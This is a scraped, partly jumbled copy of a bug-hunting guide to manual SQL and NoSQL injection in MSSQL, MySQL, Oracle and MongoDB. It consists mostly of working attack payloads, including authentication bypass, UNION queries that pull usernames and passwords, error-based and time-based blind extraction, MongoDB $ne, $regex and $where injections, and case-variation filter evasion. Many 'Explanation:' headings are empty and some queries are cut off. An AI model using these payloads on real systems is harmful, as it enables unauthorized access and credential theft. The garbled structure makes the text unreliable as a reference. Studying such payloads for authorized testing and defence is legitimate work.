Nav1n0x Gitbook Io A Guide To Manually Hunting SQL Injection...
Nav1n0x Gitbook Io A Guide To Manually Hunting SQL Injection...
SQL Injection (SQLi) is a critical web security vulnerability that allows attackers to interfere
with the queries that an application makes to its database. By manipulating the SQL queries,
attackers can retrieve, modify, or delete data, execute administrative tasks, or even gain
complete control over the database server. This article provides an in-depth guide on
manually hunting SQL injection vulnerabilities in MSSQL, MySQL, Oracle, and NoSQL
databases, detailing every possible method, advanced payloads, some of my methodology,
and automation techniques.
Accept Reject
A Comprehensive Guide to Manually Hunting SQL Injection in MSSQL, MySQL, Oracle, and NoSQL |
Image generated using ChatGPT
If user input isn't properly sanitized, an attacker can input username' OR '1'='1 to bypass
authentication:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '';
1. The application has a login form where users enter their username and password.
2. The SQL query to check the user's credentials looks like this:
SELECT * FROM users WHERE username = '$username' AND password = '$password';
3. If the input from the user is not properly sanitized, an attacker can input a username like
admin' OR '1'='1 and any password, such as an empty string.
5. The condition OR '1'='1' is always true, so the query effectively turns into:
SELECT * FROM users WHERE username = 'admin' OR true AND password = '';
6. Because the OR true part makes the whole condition true regardless of the password,
the database returns all rows where the username is 'admin' or the condition 1=1 is
true (which is always).
7. As a result, the attacker is authenticated as the first user in the database that matches
the username condition, potentially gaining unauthorized access to the application.
MSSQL
Union-Based Injection
• Determine the number of columns:
' ORDER BY 1--'
When an attacker uses the SQL Injection query ' UNION SELECT NULL, username, password
FROM users--' , here's what happens:
1. Understanding UNION: The UNION operator is used in SQL to combine the results of
two SELECT queries. Both queries must return the same number of columns and
compatible data types.
2. Original Query Context: Assume the application has a query like:
SELECT id, name FROM products WHERE category = '$category';
3. Injected Query: The attacker inputs ' UNION SELECT NULL, username, password FROM
users-- as the category, making the query:
SELECT id, name FROM products WHERE category = '' UNION SELECT NULL, username
Error-Based Injection
• Force an error to reveal information:
' AND 1=CONVERT(int, (SELECT @@version))--'
When an attacker uses the SQL Injection query ' AND 1=CONVERT(int, (SELECT
@@version))--' , here's what happens:
2. Injected Query: The attacker inputs ' AND 1=CONVERT(int, (SELECT @@version))-- as
the category, making the query:
SELECT * FROM products WHERE category = '' AND 1=CONVERT(int, (SELECT @@versi
In Boolean-Based SQL Injection, the attacker checks for true/false conditions to infer
information from the database. Here's a detailed explanation:
Checking for True/False Conditions
True Condition:
Explanation:
False Condition:
Explanation:
Explanation:
Time-Based
• Use time delays to infer information:
' IF 1=1 WAITFOR DELAY '00:00:10'--' (true)
' IF 1=2 WAITFOR DELAY '00:00:10'--' (false)
Step-by-Step Example
Step 1: Identifying the Vulnerability
If the response is delayed by 10 seconds, the parameter is likely vulnerable to SQL Injection.
The attacker uses a payload to check if the ASCII value of the first character of the
database version is greater than a certain value:
• If the response is delayed, the ASCII value of the first character is greater than 77.
• If not, it is 77 or less.
The attacker narrows down the value using binary search methods until the exact character
is determined.
Combines results with the original query, showing table names from the specified database.
Explanation:
Explanation:
Explanation:
• UNION SELECT is used to combine the result of this query with the result of the original
query.
• name FROM master..sysdatabases selects the names of all databases in the SQL
server.
• -- comments out the rest of the original query.
• When this payload is used, the attacker gets a list of all database names on the server.
Extract Table Names from a Specific Database
Explanation:
• UNION SELECT is used to combine the result of this query with the result of the original
query.
• table_name FROM database_name.information_schema.tables selects the names of all
tables in a specified database ( database_name ).
• -- comments out the rest of the original query.
• When this payload is used, the attacker gets a list of all table names in the specified
database.
Step-by-Step Process:
• If the application response is not delayed, it further confirms the injection point.
4. Extract Data Using Delays:
• Use conditions to extract specific information, such as the first character of the
database version.
' IF ASCII(SUBSTRING((SELECT @@version), 1, 1)) > 77 WAITFOR DELAY '00:00:10'
• If the response is delayed, it indicates the first character’s ASCII value is greater
than 77.
• Continue refining the condition to determine the exact value.
2. Injected Query:
' UNION SELECT name FROM master..sysdatabases--
3. Effect:
• The UNION part fetches database names and combines them with the product data.
• The attacker sees a list of database names, indicating the injection point is
successful and providing valuable information for further exploitation.
3. Effect:
• The UNION part fetches table names from the specified database.
• The attacker sees a list of table names, providing further insights into the database
structure.
By using these advanced SQL Injection techniques, attackers can gather detailed
information about the database, which can then be used to launch more targeted and
potentially damaging attacks. Proper input validation and use of parameterized queries are
essential to prevent such vulnerabilities.
MySQL
Classic SQL Injection
1. Union-Based Injection:
• Determine the number of columns:
' ORDER BY 1--'
2. Error-Based Injection:
• Use functions like EXTRACTVALUE to force errors:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--'
2. Time-Based:
• Use SLEEP function to infer information:
' AND IF(1=1, SLEEP(5), 0)--' (true)
' AND IF(1=2, SLEEP(5), 0)--' (false)
Advanced Payloads
• Extract database names:
' UNION SELECT SCHEMA_NAME FROM information_schema.schemata--'
• UNION SELECT combines the result of the original query with the result of the injected
query.
• NULL is used to fill columns that are not needed, ensuring the column count matches.
• username, password FROM users retrieves data from the users table.
• Results from the users table are displayed in the response, exposing usernames and
passwords.
Error-Based Injection
Use Functions Like EXTRACTVALUE to Force Errors:
Boolean-Based Injection
Check for True/False Conditions:
True Condition:
Time-Based Injection
Use SLEEP Function to Infer Information:
True Condition:
• IF(1=1, SLEEP(5), 0) checks if 1=1 (always true), then executes SLEEP(5) , causing
a 5-second delay.
• If the response is delayed, it confirms the injection point.
False Condition:
Advanced Payloads
Extract Database Names:
• UNION SELECT combines the result of the original query with the result of the injected
query.
• SCHEMA_NAME FROM information_schema.schemata retrieves all database names.
• The result includes the names of all databases on the server.
Extract Table Names from a Specific Database:
Oracle
Classic SQL Injection
1. Union-Based Injection:
• Determine the number of columns:
' ORDER BY 1--'
2. Error-Based Injection:
• Use Oracle-specific functions to force errors:
' AND 1=(SELECT UTL_INADDR.get_host_address('0'))--'
Explanation:
Explanation:
• UNION SELECT combines the result of the original query with the result of the injected
query.
• NULL is used to fill columns that are not needed, ensuring the column count matches.
• username, password FROM users retrieves data from the users table.
• Results from the users table are displayed in the response, exposing usernames and
passwords.
Error-Based Injection
Explanation:
• Inject this payload and increment the number until an error occurs.
• For example:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4-- (Error occurs here)
• The error at ORDER BY 4-- indicates that the table has 3 columns.
2. Union Attack to Extract Data:
' UNION SELECT NULL, username, password FROM users--
• This payload combines the result of the original query with the injected query.
• NULL is used to match the number of columns.
• username, password FROM users retrieves data from the users table.
• The attacker sees usernames and passwords in the application response.
3. Error-Based Injection Using Oracle Functions:
' AND 1=(SELECT UTL_INADDR.get_host_address('invalid_host'))--
Union-Based Injection: Determine the number of columns using ORDER BY and use UNION
SELECT to extract data from other tables.
2. Time-Based:
• Use DBMS_LOCK.SLEEP to infer information:
' BEGIN DBMS_LOCK.SLEEP(10); END;--'
Oracle Blind SQL Injection Payloads Explained
Blind SQL Injection and Boolean-Based Injection
True Condition:
Explanation:
Explanation:
Explanation:
Time-Based Injection
Explanation:
• Inject this payload to check if the ASCII value of the first character of the database
version is greater than 77.
• If the response indicates the condition is true, then the first character's ASCII value
is greater than 77.
• Adjust the value to narrow down the exact ASCII value, e.g.,
' AND ASCII(SUBSTR((SELECT version FROM v$instance), 1, 1)) > 85--
• Inject this payload to cause a 10-second delay if the injection point is valid.
• If the application's response is delayed by 10 seconds, it confirms the injection
point.
• To extract data, use conditions to cause a delay based on true/false outcomes:
' BEGIN IF (ASCII(SUBSTR((SELECT version FROM v$instance), 1, 1)) > 77) TH
Advanced Payloads
• Extract database version:
' UNION SELECT banner FROM v$version--'
Explanation:
• UNION SELECT combines the result of the original query with the result of the injected
query.
• banner FROM v$version retrieves the database version information.
• v$version is a dynamic performance view in Oracle that contains version information.
• When this payload is injected, the response will include the database version, revealing
detailed version information.
Explanation:
• UNION SELECT combines the result of the original query with the result of the injected
query.
• table_name FROM all_tables retrieves the names of all tables accessible to the user.
• all_tables is a data dictionary view that contains information about all tables that are
visible to the current user.
• When this payload is injected, the response will include the names of all tables, allowing
the attacker to understand the structure of the database.
• The response will include the banner information from v$version , which provides
the database version details.
2. Extract Table Names:
' UNION SELECT table_name FROM all_tables--
• Inject this payload into a vulnerable parameter.
• The resulting query might look something like this:
SELECT id, name FROM products WHERE category = '' UNION SELECT table_name
• The response will include the names of all tables that the current user has access
to, giving the attacker insight into the database structure.
Extract Database Version: Use UNION SELECT banner FROM v$version-- to retrieve
detailed version information of the Oracle database.
Extract Table Names: Use UNION SELECT table_name FROM all_tables-- to list all tables
accessible to the current user.
NoSQL (MongoDB)
What is NoSQL (MongoDB)?
NoSQL Databases: NoSQL databases are a category of database management systems
that are designed to handle a wide variety of data models, including document, key-value,
graph, and column-family structures. Unlike traditional relational databases (SQL), NoSQL
databases are optimized for large-scale data storage and retrieval, and they are designed to
scale horizontally.
MongoDB: MongoDB is a popular NoSQL database that stores data in a flexible, JSON-like
format called BSON (Binary JSON). It is designed to handle large volumes of data and
provides high availability and scalability. MongoDB is widely used for its ease of use,
flexibility, and ability to handle a variety of data types.
• If username and password are taken directly from user inputs without validation, an
attacker can manipulate these inputs to alter the query.
3. Injection Example :
• Consider a login form where users provide their username and password. The
application constructs a query using these inputs:
var query = { "username": userInputUsername, "password": userInputPassword
db.users.find(query);
• This query will return all users where the username and password are not null,
effectively bypassing authentication.
2. Time-Based:
• Use sleep functions to infer information (depends on database):
{ "$where": "sleep(1000) || true" }
Advanced Payloads
• Extract database information:
db.getCollectionNames().forEach(function(c) { print(c); });
Basic Injection:
• Payload:
{ "username": { "$ne": null }, "password": { "$ne": null } }
Explanation:
◦ This payload exploits the filters to manipulate queries.
◦ $ne stands for "not equal to".
◦ The query finds all documents where username is not null and password is not
null.
◦ This effectively bypasses authentication checks by ensuring the condition is always
true.
• Payload:
{ "$where": "this.username == 'admin' && this.password == 'password'" }
Explanation:
◦ The $where operator allows the execution of JavaScript code within the query.
◦ This payload compares the username and password fields within each document.
◦ If the condition is met, it returns the matching document.
◦ This can bypass regular query restrictions and execute arbitrary conditions.
Boolean-Based Injection:
• Payload:
{ "username": "admin", "password": { "$regex": "^p.*" } }
Explanation:
◦ This payload uses a regular expression ( $regex ) to infer information.
◦ The regular expression ^p.* checks if the password starts with 'p'.
◦ Based on the true/false response, the attacker can infer the starting character of the
password.
◦ This method can be used iteratively to discover the entire password character by
character.
Time-Based Injection:
• Payload:
{ "$where": "sleep(1000) || true" }
Explanation:
◦ The $where operator is used to execute JavaScript code, including a sleep
function.
◦ sleep(1000) causes the query to pause for 1000 milliseconds.
◦ If the sleep function is executed, it confirms the injection point.
◦ This method can be used to infer information based on response delays, similar to
time-based SQL injection in relational databases.
Advanced Payloads
• Payload:
db.getCollectionNames().forEach(function(c) { print(c); });
Explanation:
◦ This payload is used to extract database information, specifically the names of all
collections in the database.
◦ db.getCollectionNames() retrieves an array of all collection names.
◦ forEach(function(c) { print(c); }); iterates over each collection name and
prints it.
◦ This provides the attacker with a list of collections, giving insight into the database
structure.
2. Case Variation:
• Use varying cases to bypass case-sensitive filters:
' UnIoN sElEcT username, password FROM users--'
3. Alternative Syntax:
• Use different SQL syntax to achieve the same result:
' UNION SELECT username, password FROM users WHERE '1'='1'--
2. Function Injection:
• Inject database-specific functions:
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('X', 10)--'
Conclusion
Manually hunting for SQL injection vulnerabilities requires knowing SQL syntax, database
behavior, and injection techniques. By learning both basic and advanced methods, creating
your own methodologies, and some time automating tasks, security professionals can find
and exploit SQL injection flaws in various database systems. This guide covers the basics
and advanced techniques needed to become skilled in manual SQL injection hunting for
MSSQL, MySQL, Oracle, and NoSQL databases.